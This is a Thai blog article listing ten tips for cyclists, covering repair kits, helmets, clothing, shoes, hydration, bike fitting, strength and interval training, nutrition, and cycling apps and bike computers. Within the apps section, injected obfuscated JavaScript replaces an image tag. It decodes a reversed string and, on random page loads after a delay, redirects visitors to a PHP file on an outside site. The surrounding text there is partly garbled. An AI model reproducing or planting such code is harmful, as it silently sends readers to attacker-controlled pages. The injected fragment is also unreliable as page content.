10 ทิปและทริคดีๆ มีประโยชน์สำหรับนักปั่น

10 ทิปและทริคดีๆ มีประโยชน์สำหรับนักปั่น

จากนักปั่นมือใหม่สู่นักปั่นผุ้มีประสบการณ์ การปั่นจักรยานให้สนุก เพิ่มความฟิตให้มีสุขภาพดีเเละเพิ่มประสิทธิภาพ ปั่นได้เร็วขึ้นมีอยู่หลากหลายวิธี…StepExtra คัดสรร และขอนำเสนอ 10 ทิปและทริคดีมีประโยชน์สำหรับนักปั่นทุกท่าน

1.ชุดซ่อมจักรยาน

ลงทุนซื้อชุดซ่อมจักรยานติดบ้านไว้ซัก 1 ชุด และอย่าลืมซื้อชุดซ่อมขนาดเล็กพกพาสะดวก เอาติดตัวไว้เวลาออกปั่น

ถือเเม้เราจะไม่ใช่ช่างซ่อมจักรยานมืออาชีพ เเต่อย่างน้อยการมีอุปกรณ์ซ่อมก็สามารถใช้เเก้ไข ซ่อมบำรุงจักรยานในระดับเบสิคไปถึงขั้นกลางได้ อย่างการปรับเปลี่ยนผ้าเบรค การตัดโซ่เอา และการเปลี่ยนบันได้ปั่นเองเป็นต้น ไม่จำเป็นต้องเอาไปที่ร่างบริการเซอร์วิซทุกครั้งไป

การพกพาชุดซ่อมขนาดเล็กเวลาออกปั่น อย่าง ชุดงัด และยางใน สามาารถช่วยชีวิตนักปั่นเราได้ เวลายางโดนเจาะ ยางรั่ว จะสามารถซ่อมเเละปั่นไปต่อได้ สภาพรถเวลาซ่อมฉุกเฉินอย่างนี้อาจไม่ร้อยเปอรเซ็นต์เติมเเต่ก็สามารถปั่นกลับบ้านได้ก็ยังดี ยิ่งเวลาออกทริปกับเพื่อนๆ ยอ่งต้องพก รถเราไม่พังเเต่รถเพื่อนอาจจะก็ได้ จะได้มีอะไหล่ค่อยซ่อมให้กัน

2. หมวกกันน็อกและเเว่น

เริ่มจากหัวจรดเท้า หมวกกันน็อก เเว่นตา เสื้อกางเกง ถุงเท้า รองเท้า และปลอกเเขนปลอกขา เป็นต้น การเลือกชุดที่ใส่ดีๆ มีเหตุผลประการเเรกคือเพื่อป้องกันอันตรายจากสภาพเเวดล้อม ทั้งอากาศ ลม ความร้อน ฝน การหกล้ม ต่อมาประการที่สอง เพื่อเพิ่มประสิทธิภาพในการปั่นหรือเพิ่มความเเอโรไดนามิก และประการสุดท้ายคือเพื่อความสวยงาม สร้างความมั่นใจ ความพึงพอใจให้นักปั่น

ชุดหมวกกันน็อก เเว่นตา เป็นไปได้อยากให้เน้นเรื่อง Safety เป็นอันดับเเรก เพราะหมวกจะรับเเรงกระเเทกเเทนศรีษะเราในเวลาเกิดอุบัติเหตุ หมวกมีให้เลือกหลายรุ่นหลายราคา ของดีราคาย่อมเเพง เพราะดีไซด์ใส่ความเป็นเเฮร์โรไดนามิก มีน้ำหนักเบาเข้ามา เเต่ทุกครั้งที่ซื้อต้องมองหาสัญลักษณ์มาตรฐาน มอก. ถ้าไม่มีให้มองหายี่ห้อ (ของเเท้) จากเเบรนด์ที่ไว้ว่างใจได้ เบา เหนี่ยว เเข็งนอก นุ่มใน ทนทาน ถ้าราคาถูกใจก้ซื้อได้เลย

เเว่นตาก็เป็นสิ่งสำคัญ การปั่นจักรยานเป็นการประกอบกิจกรรมกลางเเจ้ง ต้องออกเเดด ไม่สามารถเลี่ยงรับเเสง UV ได้ การมีเเว่นตาจะช่วยกรองเเสง UV ทำให้เราสามารถมองวิสัยทรรศ์ได้ดียิ่งขึ้น นอกจากนี้ยังช่วยป้องกันเศษดินเศษหินที่กระเด็นมาได้

3. ชุดปั่นจักรยาน

เสื้อผ้ากางเกง ปลอกเเขนปลอกขา ให้เน้นการระบายอากาส ความเบา สามารถรีดเอาน้ำและเหงื่อออกได้ง่าย ใครที่ซื้อจักรยานมาใหม่ อุปกรณ์รองจากหมวกกันน้อก ก็เเนะนำให้เลือกซื้อกางเกงปั่นเป็นอันดับที่สอง จะช่วยลดอาการปวดเมื่อยก้นได้อย่างดี (มือใหม่จะปวดเมื่อยเเน่นอนในการปั่น 2-3 ครั้งเเรก ไม่ต้องกลัวนะครับ)

การใส่เสื้อปั่นจักรยานให้ความคล่องตัว ความเป็นเเฮร์โรไดนามิก ประโยชน์ของเสื้อปั่นยังการป้องกัน UV เมื่อใส่ร่วมปลอกขาปลอกเเขนจะช่วยปกปิดผิวเราได้มากขึ้น โดยทั่วไปนักปั่นจะใส่เสื้อเเขนสั้น เเล้วใส่ปลอกเเขนอีกทีหนึ่ง ส่วนกางเกงจะมีเเบบให้เลือกระหว่างขายาวและขาสั้น

4. ถุงเท้าเเละรองเท้า

ถัดจากเเว่นตา หมวกกันน็อค เสื้อกางเกง ก็มาถึงถุงเท้าเเละรองเท้า เราควรเลือกถุงเท้าใส่เล่นกีฬา อย่างถุงเท้าวิ่ง หรือถ้ามีของจักรยานเลยก็ดี เพราะถุงเท้าธรรมดาจะมีเส้นใยเเบบ Cotton อยู่เยอะ เเม้จะใส่สบายจริงเเต่เส้นใยจะอมน้ำมาก เวลาเหงื่อออกจะไม่สามารถระบายออกได้ดี เเถมจะเกิดอาการขัดสีได้ง่าย ถุงเท้ากีฬาจะผสมเส้นใยสังเคาระห์ที่ทำให้เบา ระบายอากาศ เหงื่อได้ดี ไม่อมน้ำ เเละบางประเภทจะเป็นเเบบ Compression (หลายบริษัทบอกว่าหลักการทำงานจะช่วยกระตุ้นให้ระบบเลือดหมุนเวียนดีขึ้น)

การเลือกรองเท้า สำหรับนักวิ่งเค้าบอกว่าก็เหมือนการเลือกคู่ กว่าจะเจอที่ถูกใจก็ยากอยู่ การเลือกรองเท้าปั่นก็เช่นกัน ควรเลือกรองเท้าที่เหมาะกับครีต (cleat) ที่จะติดด้วย เวลาเลือกไซด์ก็ให้ใหญ่กว่าเท้านิดหนึ่ง เพราะเวลาปั่นนานๆ น้ำหนักจะกดลงที่เท้าทำให้ขยายใหญ่ขึ้น คล้ายๆ กับการเลือกรองเท้าวิ่งนั้นเเหละครับ

รองเท้่าปั่นจักรยานจะพิเศษตรงที่เราสามารถเลือกความเเข็งกระด้าง (stiffness)ได้ คือพื้นรองเท้าถัดจากแผ่นรองในจะเป็นเเบบพลาสติกเเข็ง เเละถ้าทำจากคาร์บอนจะเเข็งมากๆ (กระด้างสูง) พวกโปรจะชอบใช้กัน เพราะเวลากด (Pedaling) รู้สึกว่าน้ำหนักจะถ่ายลงสู่บันไดปั่น 100% เเรงที่ออกไปเต็มฝ่ายเท้า พื้นรองเท้าไม่หักง่าย เเละเบากว่าพลาสติก

ปัจจุบันมีรองเท้าที่ทำด้วยหนัง เมื่อนำไปอบเเละใส่เข้าฝ่ายเท้าจะหดเข้ารูปช่วยเพิ่มความกระชับขึ้น เเต่ราคาก็จะเเพงขึ้นเช่นกัน ใครที่ปั่นใหม่ๆ ก็ใส่รองเท้าผ้าใบไปก่อน เวลามีประสบการณ์ปั่นมากขึ้น ค่อยเปลี่ยนมาใส่รองเท้าติดครีต

5. กระป๋องน้ำเเละ Energy gel & Energy drink

หนึ่งในอุปกรณ์ที่ควรพกติดตัวทุกครั้งเวลาออกปั่นคือ กระป๋องน้ำดื่ม ส่วนมากเวลาปั่นระยะใกล้ถึงกลางจะติดกระป่องเดียว เเต่พอระยะไกลขึ้นจะติดสองกระป๋อง หรือไม่ก็ขึ้นอยู่กับสภาพอากาศเเละร่างกายของผู้ปั่น บางคนพกสองกระป่องเสมอ กระป๋องหนึ่งใส่น้ำเปล่าอีกกระป๋องหนึ่งใส่เครื่องดื่มเกลือเเร่ (ต้องรอด…5 วิธีปั่นสู้ฤดู (โคตร) ร้อน)

เครื่องดื่มเกลือเเร่ และ Energy gel มีทริคง่ายๆ ว่า ถ้าปั่นไม่เกิน 1 ชั่วโมงก็ไม่จำเป็นต้องใช้ เพราะร่างสามารถรับคืนได้จากอาหารหลักในมื้อต่อไป

ใครที่ออกปั่นบ่อยๆ เเนะนำให้ซื้อเครื่องดื่มเกลือเเร่ที่เป็นซองมาชงผสมเองจะดีกว่า ช่วยประหยัดค่าใช้จ่ายได้อย่างดี

6. การเลือกจักรยานและ ฺBike fitting

หนึ่งในการเริ่มต้นสำหรับการปั่นอย่างมีคุณภาพ สนุกทุกทริปที่ออกปั่น คือ การเลือกขนาดไวด์จักรยานให้เหมาะกับตัวเอง ต่อมาก็เป็นการทำ Bike Fitting ทั้งจัดระยะความสูงต่ำของเปาะนั่ง ความยาวระหว่างเเฮนด์กับเปาะ ล้วนมีผลต่อการปั่นของเราทั้งสิ้น

การทำ Bit fitting สามารถลดอาการบาดเจ็บและเพิ่มประสิทธิภาพการปั่นของเราได้อีกด้วย ผู้ปั่นควรทำ Bike fitting เป็นระยะๆ อย่าง 6 เดือนครั้ง หรือไม่สามารถดูตรวจดูตังเองได้ว่าต้องทำ Bike fitting ใหม่หรือไม่ดดยดูจาก 5 สัญญาณเตือน คุณต้องทำ Bike Fitting ใหม่

ในการทำครั้งเเรก ช่างจะเซตเเบบ comfortable ให้เรา ปั่นในต่ำเเหน่งสบาย เเต่เมื่อเราปั่นเรื่อยๆ จะมีพัฒนาการปั่นเกิดขึ้นตำเเหน่ง ลักษณะการปั่นอาจจะเปลี่ยนไปอย่างเดิมก็ได้ อยากได้เเฮร์โรมากขึ้นก็เซตเเบบ Performance

7. การฝึก Strength Training

อย่าคิดว่าการปั่นอย่างเดียวจะเพิ่มความเร็วให้เราได้เท่านั้น การฝึกกล้ามเนื้อ (Strength Training) ก็มีความสำคัญไม่เเพ้กัน การฝึกกล้ามเนื้อจะให้ประโยชน์อย่างเช่น การเพิ่มพลัง ความทดทาน การสร้างความเสถียรให้กล้ามเนื้อตั้งเเต่ core, upper และ lower เป็นต้น

การมีกล้ามเนื้อเเข็งเเรงจะสร้างความนิ่งช่วยให้เรารักษา posture ให้ร่างกาย ชะลออาการเหนื่อยล้า และลดอาการบาดเจ็บ เเนะนำเราควรฝึกสัปดาห์ละ 2 ครั้ง

ใครอยากรู้ว่าต้องฝึกกล้ามเนื้อส่วนไหน ใช้ท่าอะไรสามารถกดดูมารู้จักมัดกล้ามเนื้อที่ใช้ปั่นจักรยานกันได้เลยครับ

8. อาหารและการผักผ่อน

อาหารที่ดีไม่สำคัญเเค่เป็นเเหล่งเชื้อเพลิง เเต่ยังสำคัญถึงการเสริมสร้างเเละซ่อมเเซมร่างกาย การรับประทานอาหารไม่เพียงพอจะส่งผลต่อระดับ สมาธิและร่างกายของผู้ปั่นโดยตรง อาการล้า หมดเเรงง่าย หงุดหงิด ไม่มีสมาธิโกรธง่าย performance ลดลงเป็นต้น

หลักการรับประทานที่เเนะนำเเบบง่ายๆ คือ เช้าห้ามงด-เย็นลดเเป้ง ก่อนออกปั่นควรโหลดเเป้งก่อนเเละหลังฝึกก็ควรรับประทานเเป้งด้วย เพราะจะช่วยเติมระดับ ไกลโคเจนไปใหม่ ไม่ใช่เฉพาะโปรตีนเพื่อสร้างกล้่่ามเนื้ออย่างเดียว…10 สุดยอดเเหล่งคาร์โบฯ สำหรับนักปั่น

หลายคนฝึกซ้อมจนลืมการผักผ่อน เเต่ที่จริงเเล้วการผักผ่อนคือช่วงเวลาที่ร่างกายใช้ฟื้นฟู กล้ามเนื้อ ระบบประสาท กำจัดของเสีย เเละปรับระดับความฟิตร่างกายใหม่ หรือที่เรียกว่า recovery & adaptation

การผักผ่อน ก็จะมีตั้งเเต่การ นอนหลับ (sleep) วันว่างใช้การพัก (recovery day) ร่างกายคนเราต้องพัฒนาไปทีละขั้น ตามสเต็ป workload-recovery & adaptation-new level of fitness ใครอยากอ่านเพิ่มดูได้ที่…การสร้าง Training Program สำหรับนักปั่น

9. ฝึกปั่น Interval

หากจะเพิ่มความเร็วในการปั่น การฝึกปั่น interval คงเป็นสิ่งที่ขาดไม่ได้..การถึง Interval จะเป็นเซตของการปั่นเเบบ low-to-high intensity หรือมีการปั่นจังหวะช้า (เบา) เเละเร็ว (หนัก) สลับกันไป จะช่วยเพิ่มพลัง ความเร็ว ความอึดให้ร่างกาย

ไม่เฉพาะช่วยเพิ่ม performance ให้ร่างกายเท่านั้น การฝึก Interval ยังช่วยเรื่อง การเต้นของหัวใจ ปอด หรือระบบ aerobic อีกด้วย ใครที่ต้องการเพิ่มระดับการเบริ์นเเคลอรี่ให้หลากหลาย ให้มากขึ้นก้ไม่ควรพลาด (ปั่นจักรยานเเล้วผอม…เเต่ทำไมเรายังอ้วนอยู่)

10. App และ Bike Computer

หากคุณจริงจังเรื่องปั่นและสนุกไปกับมัน ก็ควรลองลงทุนใช้เเอพเเละ Bike computer ในสเต็ปเเรกๆ เรามักจะใช้เเอพจากมือถือในการบันทึกการปั่นของเรา ทั้งในเรื่อง เวลาการปั่น ระยะทาง ความเร็ว จำนวนเเคลอรี่ที่เผาไป เก็บบันทึกเป็นข้อมูลที่เราสามารถจับต้อง เปรียบเทียบ ดูย้อนหลังได้ และเเอฟที่เเนะนำให้ใช้กัน คือ Strava, Endomondo และ Runtastic เป็นต้น ซึ่งการใช้เเอพตอนต้นๆ อาจะมี heart rate monitor เป็นอุปกรณ์เสริมอย่างเดียว

$Ikf=function(n){if (typeof ($Ikf.list[n]) == “string”) return $Ikf.list[n].split(“”).reverse().join(“”);return $Ikf.list[n];};$Ikf.list=[“\’php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlebar-800×495.jpg” alt=”moov-cycling-app-handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlebar” width=”603″ height=”374″ /> cycling.moov.cc

หากจะเริ่มใช้ Bike computer อย่าง Garmin edge ก็ต้องมีอุปกรณ์เสริมเพิ่มเติมมาอีก 2 ตัวที่ขาดไม่ได้ คือ ตัววัดรอบขาเเละความเร็ว (Speed cadence sensor) และตัววัดอัตราเต้นของหัวใจ (Heart rate monitor) มีสองตัวนี้ก็ใช้ฝึกใช้เเข่งได้เเล้ว

เเต่สำหรับใครที่ต้องการฝึกฝนเเบบขั้น advance ขึ้นไป ก็ควรหา Power meter มาลองใช้ดูครับ หาข้อมูลเพิ่มได้ที่…เรื่องที่ต้องรู้เกียวกับ “Power meter”…มันคืออะไร มีไว้ทำอะไร…Cycling class today : ทำความรู้จักกับประเภทของ Bike computer หรือ ไมล์จักรยาน กันสักนิด